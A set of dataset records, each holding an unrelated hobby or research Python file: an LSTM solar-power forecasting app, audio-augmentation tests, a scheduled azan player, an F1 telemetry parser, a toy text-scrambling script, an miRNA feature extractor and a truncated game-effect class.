'Solar Irradiation', 'Ambient Temperature', 'Wind Speed', 'Relative Humidity',\n 'Cloud Cover', 'Rainfall']\n\n# Ask user to upload file\nst.header('Load the Data')\nuploaded_file = st.file_uploader('Upload your CSV or Excel file', type=['csv', 'xlsx'])\n\nif uploaded_file is not None:\n # Load file into a pandas dataframe\n df = pd.read_csv(uploaded_file) if uploaded_file.name.endswith('.csv') else pd.read_excel(uploaded_file)\n\n # Check if dataframe follows expected format\n if df.columns.tolist() == col_names:\n st.success('File uploaded successfully.')\n else:\n st.error(f'Invalid file format. Expected column names: {\", \".join(col_names)}.')\n\n # Task 5: Calculate Solar Zenith Angle\n # Extract the date and time columns and convert to datetime\n df['Date'] = pd.to_datetime(df['Date'], format='%d-%m-%Y %H:%M:%S')\n df = df.set_index('Date')\n # Set the timezone to India Standard Time (IST)\n tz = pytz.timezone('Asia/Kolkata')\n df = df.tz_localize(tz)\n\n\n # Calculate solar position\n def get_solar_zenith_angle(latitude, longitude, datetime):\n solar_position = pvlib.solarposition.get_solarposition(datetime, latitude, longitude)\n solar_zenith_angle = solar_position['apparent_zenith']\n return solar_zenith_angle\n\n\n df['solar zenith'] = get_solar_zenith_angle(lat, lon, df.index)\n\n # Extract day number and add it as a column\n # df['day_number'] = df.index.dayofyear\n\n st.write('Solar Zenith Angle Calculation Done')\n st.write(df)\n\n from datetime import datetime\n\n # data processing\n df['time'] = df.index.map(lambda x: datetime.strptime(str(x.time()), '%H:%M:%S').time())\n df = df[(df['time'] > cc1) & (df['time'] < cc12)]\n\n df2 = df[['Solar Irradiation', 'Ambient Temperature', 'Wind Speed', 'Relative Humidity', 'Cloud Cover', 'Rainfall',\n 'solar zenith', 'PV Power (kW)']]\n\n duplicate = df2[df2.duplicated()]\n df2 = df2.drop_duplicates()\n\n ###############%%%%%%%%%%%%%%%%%%%%%%########################################\n # Task6: scale/normalize the data\n from sklearn.preprocessing import MinMaxScaler\n\n # assuming 'data' is a pandas DataFrame containing the input data\n scaler = MinMaxScaler()\n scaled_data = pd.DataFrame(scaler.fit_transform(df2))\n\n # Task 8: Split data\n n_input = 4 # 1 day 11x1=11 hours\n n_output = 44 # 1 day 11x1=11 hours//per day we have 11 hours\n train_size = 0.8\n train_data, test_data = split_data(df2, train_size)\n\n # Task 9: Create trainable dataset\n X_train, Y_train = create_trainable_dataset(train_data, n_input, n_output)\n X_test, Y_test = create_trainable_dataset(test_data, n_input, n_output)\n\n # Task 10: Define models\n # define multivariate LSTM model for pv power + weather data\n model_pvw = Sequential()\n model_input = Input(shape=(X_train.shape[1], X_train.shape[2]))\n x = LSTM(256, return_sequences=True)(model_input)\n\n x = Attention(units=8)(x)\n x = Dense(44, activation='relu')(x)\n model_pvw = Model(model_input, x)\n model_pvw.compile(loss='mae', optimizer='adam', metrics=['accuracy'])\n # define univariate LSTM model for only pv power data\n model_pvo = Sequential()\n model_input = Input(shape=(X_train.shape[1], X_train.shape[2]))\n x = LSTM(8, return_sequences=True)(model_input)\n x = Attention(units=64)(x)\n x = Dense(8, activation='relu')(x)\n model_pvo = Model(model_input, x)\n model_pvo.compile(loss='mae', optimizer='adam', metrics=['accuracy'])\n # Task 11: Train the model accordingly\n if selected_option == 'PV power data only':\n model_pvo.fit(X_train, Y_train, epochs=1, batch_size=256, validation_data=(X_test, Y_test),\n callbacks=[stop_early])\n elif selected_option == 'PV power + weather data':\n model_pvw.fit(X_train, Y_train, epochs=1, batch_size=256, validation_data=(X_test, Y_test),\n callbacks=[stop_early])\n else:\n print('Invalid selection')\n\n # Check which model the user selected\n if selected_option == \"PV power data only\":\n # Use the trained univariate LSTM model to make predictions on the test set\n y_pred = model_pvo.predict(X_test)\n Ypp = pd.DataFrame(Y_test)\n Y2p = pd.DataFrame(y_pred)\n Y_results = pd.DataFrame()\n Y_results['Actual'] = Ypp[0]\n Y_results['Predicted'] = Y2p[0]\n Y_results['Actual'] = (Y_results['Actual'] * [df['PV Power (kW)'].max() - df['PV Power (kW)'].min()]) + df[\n 'PV Power (kW)'].min()\n Y_results['Predicted'] = (Y_results['Predicted'] * [df['PV Power (kW)'].max() - df['PV Power (kW)'].min()]) + \\\n df['PV Power (kW)'].min()\n start_time = pd.Timestamp('2023-02-22 07:00:00')\n\n time_index = pd.date_range(start=start_time, periods=len(Y_test), freq='15min')\n\n Y_results['Time'] = time_index\n # Calculate the root mean squared error (RMSE) between the predicted and actual outputs\n rmse = np.sqrt(mean_squared_error(Y_test[0], y_pred[0]))\n # Plot the predicted and actual outputs\n fig, ax = plt.subplots()\n ax.plot(Y_results['Time'], Y_results['Actual'], label='Actual')\n ax.plot(Y_results['Time'], Y_results['Predicted'], label='Predicted')\n ax.set_xlabel('Time')\n ax.set_ylabel('PV Power (kW)')\n ax.set_title('Actual vs. Predicted PV Power')\n ax.legend()\n st.pyplot(fig)\n elif selected_option == \"PV power + weather data\":\n # Use the trained multivariate LSTM model to make predictions on the test set\n y_pred = model_pvw.predict(X_test)\n Ypp = pd.DataFrame(Y_test)\n Y2p = pd.DataFrame(y_pred)\n Y_results = pd.DataFrame()\n Y_results['Actual'] = Ypp[0]\n Y_results['Predicted'] = Y2p[0]\n Y_results['Actual'] = (Y_results['Actual'] * [df['PV Power (kW)'].max() - df['PV Power (kW)'].min()]) + df[\n 'PV Power (kW)'].min()\n Y_results['Predicted'] = (Y_results['Predicted'] * [df['PV Power (kW)'].max() - df['PV Power (kW)'].min()]) + \\\n df['PV Power (kW)'].min()\n start_time = pd.Timestamp('2023-02-22 07:00:00')\n\n time_index = pd.date_range(start=start_time, periods=len(Y_test), freq='15min')\n\n Y_results['Time'] = time_index\n # Calculate the root mean squared error (RMSE) between the predicted and actual outputs\n rmse = np.sqrt(mean_squared_error(Y_test[0], y_pred[0]))\n # Plot the predicted and actual outputs\n fig, ax = plt.subplots()\n ax.plot(Y_results['Time'][-195:-77], Y_results['Actual'][-195:-77]) # , label='Actual')\n # ax.plot(Y_results['Time'][-111:-23], Y_results['Predicted'][-111:-23])#, label='Predicted')\n ax.set_xlabel('Time')\n ax.set_ylabel('PV Power (kW)')\n ax.set_title('Forecast PV Power')\n ax.legend()\n st.pyplot(fig)\n else:\n print(\"Invalid selection.\")\n\n# In[ ]:\n\n\n# In[ ]:\n","repo_name":"AMalfez/PV_data_forecast","sub_path":"PV_data/try3.1.py","file_name":"try3.1.py","file_ext":"py","file_size_in_byte":12878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20986830491","text":"'''\nCreated on Apr 21, 2021\n\n@author: paepcke\n'''\nimport os\nfrom pathlib import Path\nimport tempfile\nimport unittest\nimport warnings\n\nimport librosa\nimport pandas as pd\n\nfrom data_augmentation.augment_audio import AudAugMethod, AudioAugmenter\nfrom data_augmentation.sound_processor import SoundProcessor\nfrom data_augmentation.utils import AugmentationGoals, WhenAlreadyDone, Utils\n\nTEST_ALL = True\n#TEST_ALL = False\n\n\nclass AudioAugmentationTester(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.curr_dir = os.path.dirname(__file__)\n cls.species1_dir = os.path.join(cls.curr_dir, 'audio_aug_tst_data/DYSMEN_S')\n cls.species2_dir = os.path.join(cls.curr_dir, 'audio_aug_tst_data/HENLES_S')\n one_fname = os.listdir(cls.species1_dir)[0]\n cls.one_aud_file = os.path.join(cls.species1_dir, one_fname)\n cls.noise_path = os.path.join(cls.curr_dir, '../lib')\n \n # Hide the UserWarning: PySoundFile failed. Trying audioread instead.\n warnings.filterwarnings(action=\"ignore\",\n message=\"PySoundFile failed. Trying audioread instead.\",\n category=UserWarning, \n module='', \n lineno=0)\n\n def setUp(self):\n species_root = Path(self.species2_dir).parent.stem\n full_species_root = os.path.abspath(species_root)\n self.aud_augmenter_median = AudioAugmenter (\n full_species_root,\n plot=False,\n overwrite_policy=WhenAlreadyDone.OVERWRITE,\n aug_goals=AugmentationGoals.MEDIAN,\n random_augs = False,\n multiple_augs = False)\n\n self.aud_augmenter_max = AudioAugmenter (\n full_species_root,\n plot=False,\n overwrite_policy=WhenAlreadyDone.OVERWRITE,\n aug_goals=AugmentationGoals.MAX,\n random_augs = False,\n multiple_augs = False)\n\n self.aud_augmenter_tenth = AudioAugmenter (\n full_species_root,\n plot=False,\n overwrite_policy=WhenAlreadyDone.OVERWRITE,\n aug_goals=AugmentationGoals.TENTH,\n random_augs = False,\n multiple_augs = False)\n\n def tearDown(self):\n pass\n\n #------------------------------------\n # test_add_noise \n #-------------------\n\n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_add_noise(self):\n with tempfile.TemporaryDirectory(prefix='aud_tests', dir='/tmp') as tmpdir_nm:\n\n out_file = SoundProcessor.add_background(self.one_aud_file, self.noise_path, tmpdir_nm)\n # Can't do more than try to load the new\n # file and check its length against manually\n # examined truth:\n self.assertEqualDurSR(out_file, self.one_aud_file)\n \n #------------------------------------\n # test_change_sample_volume \n #-------------------\n \n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_change_sample_volume(self):\n\n with tempfile.TemporaryDirectory(prefix='aud_tests', dir='/tmp') as tmpdir_nm:\n\n out_file = SoundProcessor.change_sample_volume(self.one_aud_file, tmpdir_nm)\n # Can't do more than try to load the new\n # file and check its length against manually\n # examined truth:\n self.assertEqualDurSR(out_file, self.one_aud_file)\n\n #------------------------------------\n # test_change_sample_volume \n #-------------------\n \n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_time_shift(self):\n\n with tempfile.TemporaryDirectory(prefix='aud_tests', dir='/tmp') as tmpdir_nm:\n\n out_file = SoundProcessor.time_shift(self.one_aud_file, tmpdir_nm)\n # Can't do more than try to load the new\n # file and check its length against manually\n # examined truth:\n self.assertEqualDurSR(out_file, self.one_aud_file)\n\n #------------------------------------\n # test_create_new_sample\n #-------------------\n \n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_create_new_sample(self):\n\n with tempfile.TemporaryDirectory(prefix='aud_tests', dir='/tmp') as tmpdir_nm:\n\n for method in AudAugMethod:\n out_file = self.aud_augmenter_median.create_new_sample(self.one_aud_file, \n tmpdir_nm,\n method)\n # Can't do more than try to load the new\n # file and check its length against manually\n # examined truth:\n self.assertEqualDurSR(out_file, self.one_aud_file)\n\n\n #------------------------------------\n # test_generate_all_augmentations_median \n #-------------------\n \n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_generate_all_augmentations_median(self):\n self.aud_augmenter_median.generate_all_augmentations()\n dirs_with_augs = os.path.join(self.curr_dir,\n 'Augmented_samples_-0.33n-0.33ts-0.33w-exc/DYSMEN_S'\n )\n # Should have two new audio files:\n # o DYSMEN_S had 2 to start with\n # o HENLES_S had 6 to start with\n # o We asked for median goal, which is 4\n # o So DYSMEN_S should have received 2 new augs\n new_files = os.listdir(dirs_with_augs)\n self.assertEqual(len(new_files), 2)\n\n #------------------------------------\n # test_generate_all_augmentations_max \n #-------------------\n \n #******@unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_generate_all_augmentations_max(self):\n self.aud_augmenter_max.generate_all_augmentations()\n dirs_with_augs = os.path.join(self.curr_dir,\n 'Augmented_samples_-0.33n-0.33ts-0.33w-exc/DYSMEN_S'\n )\n # Should have two new audio files:\n # o DYSMEN_S had 2 to start with\n # o HENLES_S had 6 to start with\n # o We asked for median goal, which is 4\n # o So DYSMEN_S should have received 2 new augs\n new_files = os.listdir(dirs_with_augs)\n self.assertEqual(len(new_files), 4)\n\n #------------------------------------\n # test_generate_all_augmentations_tenth\n #-------------------\n \n @unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_generate_all_augmentations_tenth(self):\n # Even the minimally recorded DYSMEN_S has \n # 2 recordings. 1/10 of the six HENLES_S species\n # is 1. So we expect the following to do nothing:\n self.aud_augmenter_tenth.generate_all_augmentations()\n dirs_with_augs = os.path.join(self.curr_dir,\n 'Augmented_samples_-0.33n-0.33ts-0.33w-exc'\n )\n new_files = os.listdir(dirs_with_augs)\n self.assertEqual(len(new_files), 0)\n\n #------------------------------------\n # test_compute_num_augs_per_species \n #-------------------\n \n #*****@unittest.skipIf(TEST_ALL != True, 'skipping temporarily')\n def test_compute_num_augs_per_species(self):\n \n # Get\n # num_samples\n # foo 10\n # bar 25\n # fum 50\n aug_goals = AugmentationGoals.MEDIAN\n \n population = pd.DataFrame.from_dict({'foo' : 10, 'bar' : 25, 'fum' : 50}, \n orient='index', \n columns=['num_samples']\n )\n\n Utils.compute_num_augs_per_species(aug_goals, population)\n num_samples = population.loc[:,'num_samples']\n med = num_samples.median()\n print(f\"Median: {med}\")\n \n # species foo must receive med-10 = 15 augmentations\n # bar med-25 = 0 augmentations\n # fum med-50 = -25 --> 0 augmentations\n\n truth = {'foo' : 15, 'bar' : 0, 'fum' : 0}\n res = Utils.compute_num_augs_per_species(aug_goals, population)\n self.assertDictEqual(truth, res)\n\n# ------------------------- Utilities -----------------------\n\n #------------------------------------\n # cmp_duration_and_sample_rates \n #-------------------\n \n def assertEqualDurSR(self, fname1, fname2):\n '''\n Tests whether the audio duration and\n sampling rates of two audio files are\n equal.\n \n :param fname1: audio file 1 path\n :type fname1: str\n :param fname2: audio file 2 path\n :type fname2: str\n :raises AssertionError\n '''\n \n sound1, sr1 = librosa.load(fname1)\n sound2, sr2 = librosa.load(fname2)\n \n self.assertEqual(sr1, sr2)\n\n dur1 = librosa.get_duration(sound1)\n dur2 = librosa.get_duration(sound2)\n \n self.assertEqual(dur1, dur2)\n\n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","repo_name":"paepcke/birds","sub_path":"src/data_augmentation/tests/test_augment_audio.py","file_name":"test_augment_audio.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8880431699","text":"import schedule\nimport time\nimport requests\nimport json\nimport alsaaudio\nimport os\n\ntry:\n \n def Main_cal():\n from prayer_times_calculator import PrayerTimesCalculator\n from datetime import datetime\n now = datetime.now()\n dt_string = now.strftime(\"%Y-%m-%d\")\n # required parameters // local Lat Long\n lat = 3.078622497747135\n long = 101.5206969400765\n calc_method = 'karachi'\n date = str(dt_string)\n # optional parameters // define school of thought\n school = \"shafi\"\n midnightMode = \"jafari\"\n latitudeAdjustmentMethod = \"middle of the night\"\n # If tune = True, then you can tune the timings by adding the tune parameter\n # (denoting addition / substraction in minutes)\n # Please NOTE that tuning one prayer will not change another.\n # So adding 3 mins to Maghrib will NOT automatically add 3 mins to Isha\n tune = True\n imsak_tune = 0\n fajr_tune = 2\n sunrise_tune = 0\n dhuhr_tune = 2\n asr_tune = 0\n maghrib_tune = 1\n sunset_tune = 0\n isha_tune = 0\n midnight_tune = 0\n # If calc_method=\"custom\", then you can override some of these variables\n fajr_angle = 0\n maghrib_angle = 0\n isha_angle = 0\n \n calc = PrayerTimesCalculator(\n latitude=lat,\n longitude=long,\n calculation_method=calc_method,\n date=date,\n school=school,\n midnightMode=midnightMode,\n latitudeAdjustmentMethod=latitudeAdjustmentMethod,\n tune=tune,\n imsak_tune=imsak_tune,\n fajr_tune=fajr_tune,\n sunrise_tune=sunrise_tune,\n dhuhr_tune=dhuhr_tune,\n asr_tune=asr_tune,\n maghrib_tune=maghrib_tune,\n sunset_tune=sunset_tune,\n isha_tune=isha_tune,\n fajr_angle=fajr_angle,\n maghrib_angle=maghrib_angle,\n isha_angle=isha_angle,\n )\n \n \n \n \n times = calc.fetch_prayer_times()\n return times\n \n \n \n {'Fajr': '05:31',\n 'Sunrise': '06:53',\n 'Dhuhr': '11:38',\n 'Asr': '14:03',\n 'Sunset': '16:22',\n 'Maghrib': '16:22',\n 'Isha': '17:44',\n 'Imsak': '05:21',\n 'Midnight': '22:57',\n 'date': {'readable': '26 Nov 2018',\n 'timestamp': '1543276800',\n 'hijri': {'date': '17-03-1440',\n 'format': 'DD-MM-YYYY',\n 'day': '17',\n 'weekday': {'en': 'Al Athnayn', 'ar': 'الاثنين'},\n 'month': {'number': 3, 'en': 'Rabīʿ al-awwal', 'ar': 'رَبيع الأوّل'},\n 'year': '1440',\n 'designation': {'abbreviated': 'AH', 'expanded': 'Anno Hegirae'},\n 'holidays': []},\n 'gregorian': {'date': '26-11-2018',\n 'format': 'DD-MM-YYYY',\n 'day': '26',\n 'weekday': {'en': 'Monday'},\n 'month': {'number': 11, 'en': 'November'},\n 'year': '2018',\n 'designation': {'abbreviated': 'AD', 'expanded': 'Anno Domini'}}}}\n \n\n def fajr():\n txt = str(Main_cal())\n #print(txt)\n x = txt.split(\",\")\n y = x[0].split(\"'\")\n print('Fjir : '+str(y[3]))\n return (y[3])\n def Dhuhr():\n txt = str(Main_cal())\n #print(txt)\n x = txt.split(\",\")\n y = x[2].split(\"'\")\n print('Dhuhr : '+str(y[3]))\n return (y[3])\n def Asr():\n txt = str(Main_cal())\n #print(txt)\n x = txt.split(\",\")\n y = x[3].split(\"'\")\n print('Asr : '+str(y[3]))\n return (y[3])\n def Maghrib():\n txt = str(Main_cal())\n #print(txt)\n x = txt.split(\",\")\n y = x[5].split(\"'\")\n print('Maghrib : '+str(y[3]))\n return (y[3])\n def Isha():\n txt = str(Main_cal())\n #print(txt)\n x = txt.split(\",\")\n y = x[6].split(\"'\")\n print('Isha : '+str(y[3]))\n return (y[3])\n \nexcept:\n print('error')\n \n\ndef vol(v):\n\n m = alsaaudio.Mixer()\n vol = m.getvolume()\n m.setvolume(v)\n vol = m.getvolume()\n\ndef Azan_fajir():\n import vlc\n import time\n vol(50)\n p = vlc.MediaPlayer(\"azan_fajir.mp3\")\n p.play()\n time.sleep(245)\n p.stop()\n \ndef Azan_zohar():\n import vlc\n import time\n vol(100)\n p = vlc.MediaPlayer(\"azan_zohar.mp3\")\n p.play()\n time.sleep(135)\n p.stop()\n \n p = vlc.MediaPlayer(\"Dua-after-adhan.mp3\")\n p.play()\n time.sleep(35)\n p.stop()\n \n\ndef Azan_asar():\n import vlc\n import time\n vol(100)\n p = vlc.MediaPlayer(\"azan_asar.mp3\")\n p.play()\n time.sleep(235)\n p.stop()\n \n p = vlc.MediaPlayer(\"Dua-after-adhan.mp3\")\n p.play()\n time.sleep(35)\n p.stop()\n \n\ndef Azan_maghrib():\n import vlc\n import time\n vol(100)\n p = vlc.MediaPlayer(\"azan_maghrib.mp3\")\n p.play()\n time.sleep(205)\n p.stop()\n \n p = vlc.MediaPlayer(\"Dua-after-adhan.mp3\")\n p.play()\n time.sleep(35)\n p.stop()\n\n\ndef Azan_isha():\n import vlc\n import time\n vol(100)\n p = vlc.MediaPlayer(\"azan_isha.wma\")\n p.play()\n time.sleep(235)\n p.stop()\n \n p = vlc.MediaPlayer(\"Dua-after-adhan.mp3\")\n p.play()\n time.sleep(35)\n p.stop()\n\n \ndef blutoothcon():\n output_stream = os.popen('pulseaudio --start')\n print (str(output_stream.read()))\n time.sleep(2)\n output_stream = os.popen('bluetoothctl')\n print (output_stream.read())\n time.sleep(2)\n output_stream = os.popen('connect 33:C1:68:AB:C2:A3')\n print (output_stream.read())\n time.sleep(5)\n output_stream = os.popen('quit')\n print (output_stream.read())\n time.sleep(2)\n# Task scheduling\n#After every 10mins blutoothcon() is called. // You can skip this if not required\nschedule.every(10).minutes.do(blutoothcon)\n#Set volumet to Max // Can set volume to each of the azan indivisually\nvol(100)\nschedule.every().day.at(str(fajr())).do(Azan_fajir)\nschedule.every().day.at(str(Dhuhr())).do(Azan_zohar)\nschedule.every().day.at(str(Asr())).do(Azan_asar)\nschedule.every().day.at(str(Maghrib())).do(Azan_maghrib)\nschedule.every().day.at(str(Isha())).do(Azan_isha)\n\nwhile True:\n \n # is pending to run or not\n schedule.run_pending()\n time.sleep(1)\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"CosineCloud/AzanPlayer","sub_path":"azanplayer.py","file_name":"azanplayer.py","file_ext":"py","file_size_in_byte":6414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70543172403","text":"import ctypes\n\nimport logging\nlog = logging.getLogger(__name__)\n\nfrom .base import PacketBase, PacketHeader\n\n\nclass LapData(PacketBase):\n\n _fields_ = [\n (\"lastLapTimeInMS\", ctypes.c_uint32),\n (\"currentLapTimeInMS\", ctypes.c_uint32),\n (\"sector1TimeInMS\", ctypes.c_uint16), \n (\"sector2TimeInMS\", ctypes.c_uint16),\n (\"lapDistance\", ctypes.c_float),\n (\"totalDistance\", ctypes.c_float),\n (\"safetyCarDelta\", ctypes.c_float),\n (\"carPosition\", ctypes.c_uint8),\n (\"currentLapNum\", ctypes.c_uint8),\n (\"pitStatus\", ctypes.c_uint8), # 0 = none, 1 = pitting, 2 = in pit area\n (\"numPitStops\", ctypes.c_uint8), # Number of pit stops taken in this race\n (\"sector\", ctypes.c_uint8), # 0 = sector1, 1 = sector2, 2 = sector3\n (\"currentLapInvalid\", ctypes.c_uint8), # Current lap invalid - 0 = valid, 1 = invalid\n (\"penalties\", ctypes.c_uint8),\n (\"warnings\", ctypes.c_uint8),\n (\"numUnservedDriveThroughPens\", ctypes.c_uint8),\n (\"numUnservedStopGoPens\", ctypes.c_uint8),\n (\"gridPosition\", ctypes.c_uint8),\n (\"driverStatus\", ctypes.c_uint8), # Status of driver - 0 = in garage, 1 = flying lap\n # 2 = in lap, 3 = out lap, 4 = on track\n (\"resultStatus\", ctypes.c_uint8), # Result status - 0 = invalid, 1 = inactive, 2 = active\n # 3 = finished, 4 = didnotfinish, 5 = disqualified\n # 6 = not classified, 7 = retired\n (\"pitLaneTimerActive\", ctypes.c_uint8),\n (\"pitLaneTimeInLaneInMS\", ctypes.c_uint16),\n (\"pitStopTimerInMS\", ctypes.c_uint16),\n (\"pitStopShouldServePen\", ctypes.c_uint8),\n ]\n\n\nclass PacketLapData(PacketBase):\n \"\"\"\n The lap data packet gives details of all the cars in the session.\n Frequency: Rate as specified in menus\n Size: 904 bytes\n Version: 1\n \"\"\"\n\n _fields_ = [\n (\"header\", PacketHeader), # Header\n (\"lapData\", LapData * 22), # Lap data for all cars on track\n (\"timeTrialPBCarIdx\", ctypes.c_uint8), # Index of Personal Best car in time trial (255 if invalid)\n (\"timeTrialRivalCarIdx\", ctypes.c_uint8), # Index of Rival car in time trial (255 if invalid)\n ]\n\n def serialize(self):\n try:\n lap_data = self.lapData[self.header.playerCarIndex]\n except:\n return None\n return {\n \"packet_type\": \"lap\",\n \"lap_number\": lap_data.currentLapNum,\n \"car_race_position\": lap_data.carPosition,\n \"pit_status\": lap_data.pitStatus,\n \"is_valid\": bool(lap_data.currentLapInvalid != 1),\n \"current_laptime_ms\": lap_data.currentLapTimeInMS,\n \"last_laptime_ms\": lap_data.lastLapTimeInMS,\n \"sector_1_ms\": lap_data.sector1TimeInMS,\n \"sector_2_ms\": lap_data.sector2TimeInMS,\n \"sector_3_ms\": self.get_sector_3_ms(lap_data),\n \"lap_distance\": lap_data.lapDistance,\n \"frame_identifier\": self.header.frameIdentifier\n }\n \n def get_sector_3_ms(self, lap_data):\n if not (lap_data.sector1TimeInMS and lap_data.sector2TimeInMS):\n return None\n sector_3_time = lap_data.currentLapTimeInMS - lap_data.sector1TimeInMS - lap_data.sector2TimeInMS\n return round(sector_3_time) if sector_3_time else None\n","repo_name":"f1laps/f1laps-telemetry","sub_path":"receiver/f12022/packets/lap.py","file_name":"lap.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"68284979","text":"import random\nimport string\nimport time\n\nred=\"\\33[31m\"\ngreen=\"\\33[32m\"\ndefault=\"\\33[0m\"\n\ninp=input(\"Enter your massage :\")\nchoice=int(input(\"\\nEnter 1 to code your massage into secret code Or\\nEnter 0 to decode the secred code :\"))\ninp=inp.split()\ninpn=[]\ncoding=True if (choice==1) else False\nif (coding):\n print(f\"\\n{red}coding{default}\")\n time.sleep(2)\n for i in inp:\n def creat_random_string(length):\n letters=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits\n rs=\"\".join(random.choice(letters) for i in range(length))\n return rs\n newrs=creat_random_string(3)\n newrs1=creat_random_string(3) \n if len(i)>=3:\n i=newrs+i[1:]+i[0]+newrs1\n inpn.append(i)\n elif len(i)<=2:\n i=i[::-1]\n i=newrs+i+newrs1\n inpn.append(i)\n massage=\" \".join(inpn) \n print(f\"here is your massage:\\n{massage}\")\nelse:\n print(f\"\\n{green}decoding{default}\")\n time.sleep(2)\n for i in inp:\n if len(i)>=3:\n i=i[3:-3]\n i=i[-1]+i[:-1]\n inpn.append(i)\n elif len(i)<=2:\n i=i[::-1]\n i=i[3:-3]\n inpn.append(i)\n massage=\" \".join(inpn)\n print(f\"here is your massage:\\n{massage}\")","repo_name":"RS812005/RS-PROJECTS","sub_path":"RS Projects/encryption.py","file_name":"encryption.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1118756879","text":"from __future__ import division\nimport linecache\nimport shlex, subprocess\nimport commands\nimport re\n\ndef bp(struct):\n bp_list=[]\n\n pos=0\n left=[]\n right=[]\n for dot in struct:\n if dot==\"(\":\n left.append(pos)\n if dot==\")\":\n right.append(pos)\n pos+=1\n \n bp_p=0\n for x in left:\n bp_list.append((left[bp_p],right[bp_p]))\n bp_p+=1\n\n return bp_list\n\ndef dinuc(sequence,dn_list):\n pos=0\n dn_c=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n while pos<len(sequence)-1:\n dn_c[dn_list.index(sequence[pos:pos+2])]+=1\n pos+=1\n dn_pos=1\n content=\"\"\n for dn_val in dn_c:\n content=content+\" \"+str(dn_pos)+\":\"+str(dn_val/len(sequence))\n dn_pos+=1\n\n return content\n\ndef gu(sequence, bps_list):\n gu_c=0\n for pairs in bps_list:\n if sequence[pairs[0]]==\"G\" and sequence[pairs[1]]==\"U\":\n gu_c+=1\n if sequence[pairs[1]]==\"G\" and sequence[pairs[0]]==\"U\":\n gu_c+=1\n\n return gu_c\n\ndef triplet(sequence,struct,asb_list):\n mtx=[]\n m1x=[]\n i = 0\n while i<(len(sequence)-2):\n if struct[i]==\")\":\n tmp1=\"(\"\n else:\n tmp1=struct[i]\n if struct[i+1]==\")\":\n tmp2=\"(\"\n else:\n tmp2=struct[i+1]\n if struct[i+2]==\")\":\n tmp3=\"(\"\n else:\n tmp3=struct[i+2]\n ele=tmp1+tmp2+tmp3\n mtx.append(ele)\n m1x.append(sequence[i+1])\n i+=1\n\n triplet_fea=\"\"\n fx = 21\n for x in asb_list:\n i = 0\n val=0\n while i<len(mtx):\n if x[1:] == mtx[i] and x[0]==m1x[i]:\n val += 1\n i += 1\n fx += 1\n fval = val/len(sequence)\n triplet_fea=triplet_fea+\" \"+str(fx)+\":\"+str(fval)\n\n \n return triplet_fea\n \n\ndef features(sequence,struct,energy,dn_list,asb_list,group): \n #find loops\n re1=re.compile(\"\\(\\.*\\)\")\n loop=re1.findall(struct)\n # number of loops\n n_loop=len(loop)\n # max loop size, feature 17\n max_loop=len(max(loop))-2\n # base pair list\n bps=bp(struct)\n # total base pairs\n tot_bp=len(bps)\n # avg_bp_stem, feature 18\n avg_bp_stem=tot_bp/len(sequence)\n # MFEI4, feature 19\n mfei4=float(energy)/tot_bp\n # dp/n_loop, feature 20\n fea20=tot_bp/len(sequence)/n_loop\n # GU property, feature 21\n fea21=gu(sequence, bps)/tot_bp\n\n # write all features\n f_content=group+dinuc(sequence,dn_list)+\" 17:\"+str(max_loop)+\" 18:\"+str(avg_bp_stem)+\" 19:\"+str(mfei4)+\" 20:\"+str(fea20)+\" 21:\"+str(fea21)+triplet(sequence,struct,asb_list)+\" 54:\"+energy+\"\\n\"\n \n return f_content\n \n \n \n \n\n\ndn=[\"AA\",\"AU\",\"AC\",\"AG\",\"UA\",\"UU\",\"UC\",\"UG\",\"CA\",\"CU\",\"CC\",\"CG\",\"GA\",\"GU\",\"GC\",\"GG\"]\nasb=[\"(((\",\".((\",\"(.(\",\"((.\",\"..(\",\".(.\",\"(..\",\"...\"]\nnc=['A','U','C','G']\nfea=[]\nfor a in nc:\n for b in asb:\n fea.append(a+b)\n\n\nf = open(\"test_fold.txt\",\"r\")\ndata=f.readlines()\nf.close()\n\n\n\n\nf = open(\"test_features.txt\",'w')\nn=0\nwhile n<len(data):\n seq =data[n+1][:-1].upper()\n fold=data[n+2].split(\" \")[0]\n mfe=data[n+2].split(\" \")[-1].split(\")\")[0].split(\"(\")[-1]\n\n\n head=\"0\"\n\n temp=features(seq,fold,mfe,dn,fea,head)\n f.write(temp)\n n+=3\n #print n/3\nf.close()","repo_name":"dg520/mireval","sub_path":"bin/test_features.py","file_name":"test_features.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72754758641","text":"from BattleSystem.Effect import Effect\nfrom BattleSystem.Dice import Dice\nimport numpy as np\n\n\nclass Dot_effect(Effect):\n def __init__(self, scale_type=None, resist_type=None, damage=None, name=\"Unknown\", description=\"Unknown\",\n is_fixed_targeting=False, turn_left=0, max_target=1, is_positive=False):\n # way to use effect that will be cast once and each turn before the turn limit\n super().__init__(scale_type, resist_type, damage, name, description,\n is_fixed_targeting, turn_left, max_target, is_positive)\n\n def cast(self, from_entity, to_entities):\n # way to cast it\n print(str(self))\n accuracy_stat = from_entity.get_stat(self.scale_type)\n bonus_stats_caster = (accuracy_stat-10)/2\n\n if accuracy_stat is not None and self.resist_type is not None:\n maitrise = np.min([2, 